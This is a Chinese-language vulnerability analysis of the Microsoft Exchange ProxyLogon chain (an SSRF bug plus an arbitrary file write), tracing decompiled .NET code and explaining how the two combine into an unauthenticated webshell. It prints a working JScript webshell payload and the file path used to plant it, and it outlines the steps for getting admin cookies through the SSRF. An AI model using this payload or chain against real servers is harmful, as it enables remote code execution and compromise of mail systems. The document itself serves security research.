# Exchange “ProxyLogon”系列漏洞分析
:::info
作者 1chig0 1umi3re yudhui @SJTU
:::
## 简介
近期,微软Exchange邮件服务器的高危安全漏洞引起了安全圈的普遍关注,主要包括的漏洞类型和CVE编号如下所示:
+ CVE-2021–26855 SSRF
+ CVE-2021–26857 反序列化
+ CVE-2021–26858 任意文件写入
+ CVE-2021–27065 任意文件写入
其中CVE-2021–26855是一个SSRF,攻击者可以不经过任何类型的身份验证来利用此漏洞,只需要能够访问Exchange服务器即可;与此同时,CVE-2021–27065是一个任意文件写入漏洞,它需要登陆的管理员账号权限才能触发。因此,两者的结合可以造成未授权的webshell写入,属于非常高危的安全漏洞。
![](https://i.imgur.com/dZrNoQs.png)
在本文中,我们首先介绍了Exchange处理请求的流程和对其调试方法;接下来具体分析了CVE-2021–26855与CVE-2021–27065漏洞原理,最后较为详细的描述了漏洞相关的ProxyLogon接口部分的详细验证过程。四个安全漏洞的利用过程示意图如上所示[10]。
## Exchange处理请求流程
Exchange系统的服务架构如下图所示,由前端和多个后端组件组成。用户基于各类协议对Exchange的前端发起请求,前端解析请求后会将其转发到后端相对应的服务当中。以基于HTTP/HTTPS协议的访问为例,来自Outlook或Web客户端的请求会首先经过IIS,然后进入到Exchange的HTTP代理,代理根据请求类型将HTTP请求转发到不同的后端组件中。整个处理流程如下图所示[11]:
![](https://i.imgur.com/rJH8tK4.png)
## 调试方法
相关分析文章一般只分析了漏洞的原理,却忽略了介绍如何调试代码的方法,由于对.NET框架的调试相对来说比较复杂,所以首先介绍一下我们的调试方法。
### 调试工具--dnspy
dnspy是一个.NET反汇编和调试编辑器[1]。它可以对基于.NET框架编写的动态链接库(.dll)进行反编译,让我们清楚地查看代码逻辑和结构。同时可以让我们在没有源代码的情况,对程序进行下断点调试。
### 静态分析
通过dnspy可以直接对dll库进行逆向,直接打开被调试文件即可,十分方便。
对于Exchange的漏洞,我们用到的最关键的dll库为```Miscrosoft.Exchange.FrontEndProxy.dll```,这个库中包含了Exchange将前端请求转发到后端的过程。
![](https://i.imgur.com/upJxg07.png)
不过由于整个Http请求还经过了一些不包含在Exchange内的运行库(如.Net自带的System.Web库),仅凭静态分析无法跟入这些库中,因此还需要动态调试。
### 动态调试
通过dnspy的附加到进程功能,我们可以动态调试.NET程序。然而由于Exchange程序逻辑极其复杂,相关进程较多,如何从复杂的进程中找到被调试的进程是一个难点。
首先通过IIS管理器可以查看当前服务器的应用程序池,其中Exchange的应用程序池以`MSExchange`为开头。
![](https://i.imgur.com/IPocfCZ.png)
随后查看IIS服务相关的所有进程。进入`C:\Windows\System32\inetsrv`,执行`appcmd list wp`,可以查看进程名和进程号。
![](https://i.imgur.com/GkCfrTP.png)
经过测试,`applicationPool.MSExchangeECPAppPool`是本次漏洞的相关进程。于是可以在dnspy中,点击调试->附加到进程->选中进程->附加。之后就可以下断点进行调试了。
![](https://i.imgur.com/wvyuq9K.png)
## CVE-2021–26855
CVE-2021-26855是一个SSRF漏洞。恶意用户可以在远程绕过安全验证向任意端口发送数据。
研究人员对补丁前后的dll库进行diff,发现在`Microsoft.Exchange.FrontEndHttpProxy`的```BEResourceRequestHandler```类中,新增了```ShouldBackendRequestAnonymous```方法[2]。因此我们可以从这个类入手。
![](https://i.imgur.com/61YRc0l.png)
```BEResourceRequestHandler```是一个用于处理向后端进行资源型请求的类,如请求js,png,css文件等。它在函数`SelectHandlerForUnauthenticatedRequest`中被引用,而要创建这个类的实例,首先需要函数`BEResourceRequestHandler.CanHandle()`返回True。
![](https://i.imgur.com/WTOkJOX.png)
分析`CanHandle`函数,可以发现返回True需要以下两个条件:
+ HTTP请求的Cookie中含有`X-BEResource`键;
+ 请求应是资源型请求,即请求的文件后缀应为规定的文件类型。
![](https://i.imgur.com/pzp8UXl.png)
```csharp
private static string GetBEResouceCookie(HttpRequest httpRequest)
{
string result = null;
HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
if (httpCookie != null)
{
result = httpCookie.Value;
}
return result;
}
```
```csharp
public static bool IsResourceRequest(string localPath)
{
ArgumentValidator.ThrowIfNull("localPath", localPath);
return localPath.EndsWith(".axd", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".crx", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".eot", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".gif", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".jpg", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".js", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".htm", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".html", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".ico", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".manifest", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mp3", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".msi", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".png", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".svg", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".ttf", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".wav", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".woff", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
}
```
`SelectHandlerForUnauthenticatedRequest`函数在`OnPostAuthorizeInternal`中被调用。`httpHandler`会被设置为```BEResourceRequestHandler```的一个实例,由于```BEResourceRequestHandler```继承于```ProxyRequstHandler```,因此会进入```((ProxyRequestHandler)httpHandler).Run(context)```,并最终在```HttpContext.RemapHandler```中把该```httpHandler```设置给```this._remapHandler```,即是```context.Handler```。
![](https://i.imgur.com/oqpRvuz.png)
接下来,进入```System.Web.HttpApplication```中 ```CallHandlerExecutionStep```接口的```HttpApplication.IExecutionStep.Execute()```函数。首先,从```context.Handler```获取```handler```,即我们之前提到的```BEResourceRequestHandler```,由于```BEResourceRequestHandler```继承与```ProxyRequestHandler```类,而该类又继承了```IHttpAsyncHandler```类,因此会进入到如下图所示的if分支当中,并在图中的3872行调用```ProxyRequestHandler.BeginProcessRequest()```函数。
![](https://i.imgur.com/gqqSDUf.png)
接下来,在```ProxyRequestHandler.BeginProcessRequest```中会调用```ProxyRequestHandler.BeginCalculateTargetBackEnd```,在```ProxyRequestHandler.BeginCalculateTargetBackEnd```中调用```ProxyRequestHandler.InternalBeginCalculateTargetBackEnd```,最终进入到```BEResourceRequestHandler.ResolveAnchorMailbox```。
```BEResourceRequestHandler.ResolveAnchorMailbox```函数会调用`BEResourceRequestHandler.GetBEResouceCookie`获取键```X-BEResource```的值,然后将其传入```BackEndServer.FromString```中。
![](https://i.imgur.com/Abo90kQ.png)
在```BackEndServer.FromString```函数中,首先根据~将```X-BEResource```的值分割为两部分,前一部分作为fqdn,后一部分则是version的值。
![](https://i.imgur.com/lKmy2yJ.png)
函数继续执行,经过一系列函数调用:后端服务器的目标FQDN计算完后调用`OnCalculateTargetBackEndCompleted`函数,该函数又调用`InternalOnCalculateTargetBackEndCompleted`函数,紧接着调用`BeginValidateBackendServerCacheOrProxyOrRecalculate`函数,然后调用`BeginProxyRequestOrRecalculate`函数,最终进入到`BeginProxyRequest`函数中。其中调用`GetTargetBackendServerUrl`函数获取向backend转发请求的URL。
![](https://i.imgur.com/VCgmrxI.png)
`GetTargetBackendServerUrl`中将调用`GetClientUrlForProxy`函数构造发起请求的URL。
![](https://i.imgur.com/dygtiHq.png)
最终调用`ProxyRequestHandler.CreateServerRequest(uri)`向backend发起请求。
![](https://i.imgur.com/vXErAT9.png)
以上即是SSRF漏洞的整个流程。
## CVE-2021–27065
CVE-2021–27065是一个任意文件写入漏洞,相比于CVE-2021–26855简单得多。
首先需要一个管理员账号,进入Servers->Virtual Directories->OAB
![](https://i.imgur.com/En4r9xS.png)
编辑OAB配置,在外部链接中写入shell并保存。
```
http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>
```
![](https://i.imgur.com/CtHw9dM.png)
接下来输入文件路径并重置。
```
\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\1chig0.aspx
```
![](https://i.imgur.com/CiXVUsq.png)
shell即可成功写入。
![](https://i.imgur.com/Voi83vb.png)
## 两者配合写入shell
由于漏洞内容较为敏感,大部分文章到这里的分析很少。我们通过对协议分析以及自己的理解,还原了proxylogon的技术细节。
### 获取LegacyDN
Autodiscover是Exchange中的一个服务,该服务可以帮助客户端(例如Outlook)以最少的用户输入来进行电子邮箱的配置。因为在前文提到的SSRF中需要获知后端服务器即Exchange服务器的FQDN,因此可以利用该服务。
Autodiscover的请求格式可以在[官方文档](https://interoperability.blob.core.windows.net/files/MS-OXDSCLI/[MS-OXDSCLI].pdf)[6]中找到。
```xml
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>Administrator@exploittest.xyz</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
```
![](https://i.imgur.com/h0Njf1G.png)
### 获取SID
消息处理API(MAPI)是Outlook用于接收和发送电子邮件相关信息的API,在Exchange 2016以及2019当中,微软又为其加入了MAPI over HTTP机制,使得Exchange和Outlook可以在标准的HTTP协议模型之下利用MAPI进行通信。整个MAPI over HTTP的协议标准可以在[官方文档](https://interoperability.blob.core.windows.net/files/MS-OXCMAPIHTTP/%5bMS-OXCMAPIHTTP%5d.pdf)中查询。为了获取对应邮箱的SID,如下图所示的exploit中利用了用于发起一个新会话的Connect类型请求。
![](https://i.imgur.com/gs48Jb8.png)
一个正常的Connect类型请求如图所示[5],包含UserDn等多个字段,其中UserDn指的是用户在该域中的专有名称(Distinguish Name),该字段已被我们通过上一步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx方法执行。由于发起请求的RPC客户端的权限为SYSTEM,对应的SID为S-1-5-18,与请求中给出的DN所对应的SID不匹配,于是响应中返回错误信息,该信息中包含了DN所对应的SID,从而达到了目的。
![](https://i.imgur.com/B3n9v8k.png)
各个字段的具体含义如下图所示[5]。
![](https://i.imgur.com/ZK2TnHb.png)
### 获取管理员登陆凭证
通过Burpsuite拦截数据包可以看到,exploit利用SSRF漏洞访问了Exchange后端的`/ecp/proxyLogon.ecp`路径,从响应中得到了`ASP.NET_SessionId`以及`msExchEcpCanary`两个Cookie,根据Cookie的键名我们可以得知这两个Cookie分别对应会话ID以及用户的登录凭证。
![](https://i.imgur.com/5nl2YkG.png)
为了了解它们是如何生成的,我们查看IIS管理器,可以找到`ecp`的后端.NET应用程序物理路径。
![](https://i.imgur.com/QrTTcjt.png)
在该物理路径下的.NET应用配置文件`web.config`中定义了不同路径的HTTP请求对应的处理函数,检索可知路径`proxyLogon.ecp`是由`ProxyLogonHandler`来处理的,然而对相应的dll进行反编译后发现该`Handler`仅修改了HTTP响应的状态码。
![](https://i.imgur.com/5TynrWQ.png)
最终通过调试后发现,真正与`msExchEcpCanary`以及`ASP.NET_SessionId`相关的代码是在类`RbacModule`中的,通过`web.config`可以看到`RbacModule`作为应用的其中一个模块用于处理HTTP请求。
![](https://i.imgur.com/NEPcYvt.png)
在该模块中由函数`Application_PostAuthenticateRequest`具体实现对HTTP请求的解析。相关关键代码如下,首先函数根据`httpContext`生成`AuthenticationSettings`实例。
![](https://i.imgur.com/te8ZUow.png)
在`AuthenticationSettings`的构造函数中,由于所有的if语句均不满足,函数会根据`context`生成一个`RbacSettings`实例,并赋值给自己的`Session`属性。
![](https://i.imgur.com/ATC6QS7.png)
而在`RbacSettings`的构造函数中,函数会判断请求路径是否以`/proxyLogon.ecp`结尾,若是则进入下方的if分支,利用请求数据创建`SerializedAccessToken`实例。
![](https://i.imgur.com/XR2fKcS.png)
分析`SerializedAccessToken`类,可知该类会将访问令牌序列化成XML格式,其中根节点的名字为`r`,根节点的`at`属性对应访问令牌中的认证类型、`ln`属性对应访问令牌中的登录名称;根节点的子节点为SID节点,节点名字为`s`,当中的属性`t`对应SID类型,属性`a`对应SID属性,节点中的文本为SID。其序列化函数定义如下,可以看到令牌大致与Windows中的安全访问令牌内容相似。
![](https://i.imgur.com/aHWPdkS.png)
随后构造函数根据请求头部的`msExchLogonMailbox`字段以及`logonUserIdentity`变量调用`GetInboundProxyCaller`函数获取该代理请求的发起服务器。若返回结果不为空则调用`EcpLogonInformation.Create`函数创建一个`EcpLogonInformation`实例,再用该实例创建一个`EcpIdentity`实例。
![](https://i.imgur.com/N76Wrbe.png)
`Create`函数首先根据`logonMailboxSddlSid`生成安全标识符实例,然后根据`proxySecurityAccessToken`参数生成`SerialzedIdentity`实例,并最后生成`EcpLogonInformation`实例。而根据名称可知`logonUserIdentity`定义了登入用户的权限,因而我们能够得到任意SID对应用户的权限。
![](https://i.imgur.com/L7P4gaW.png)
之后程序回到`RbacSettings`的构造函数中,在响应中添加`ASP.NET_SessionId`Cookie。
![](https://i.imgur.com/F6Zxxgn.png)
程序接下来返回到`RbacModule`的函数中,在`AuthenticationSettings`实例生成后其`Session`属性被赋值给`httpContext.User`,并进入if分支调用`CheckCanary`函数。
![](https://i.imgur.com/5UIdFxS.png)
`CheckCanary`函数又将调用如下所示的`SendCanary`函数,该函数首先从请求的Cookie中读取Canary并尝试恢复,若成功则函数直接返回,否则生成一个新的Canary并将其加入到响应的Cookie中。从而我们能够构造满足要求的请求通过SSRF访问`ecp/proxyLogon.ecp`获得管理员的凭证。
![](https://i.imgur.com/n1wjsXG.png)
### 写shell
最后根据CVE-2021–27065发送的请求包构造请求,即可成功写入shell,不再赘述。
+ 查看OAB配置
![](https://i.imgur.com/d8Rskxn.png)
+ 保存外部链接
![](https://i.imgur.com/UMmXbx9.png)
+ 重置
![](https://i.imgur.com/VTF7x2P.png)
+ 最终成功写入结果
![](https://i.imgur.com/GWMtv26.png)
## 总结
Exchange的架构设计中不允许用户直接访问后端,而是要通过前端服务作为代理来进行访问。然而,前端在处理代理请求的过程中由于对特定Cookie的内容没有进行充分检查,导致攻击者最终能够实现服务端请求伪造。在能够对后端服务发起请求后,攻击者又利用了后端管理服务没有对文件类型进行检查的漏洞,构造恶意输入以及恶意文件后缀名实现了WebShell的写入。
## 参考文献
【1】https://github.com/dnSpy/dnSpy
【2】https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265
【3】https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
【4】https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
【5】https://interoperability.blob.core.windows.net/files/MS-OXCMAPIHTTP/%5bMS-OXCMAPIHTTP%5d.pdf
【6】https://interoperability.blob.core.windows.net/files/MS-OXDSCLI/%5bMS-OXDSCLI%5d.pdf
【7】https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
【8】https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/
【9】https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/
【10】https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/
【11】https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2016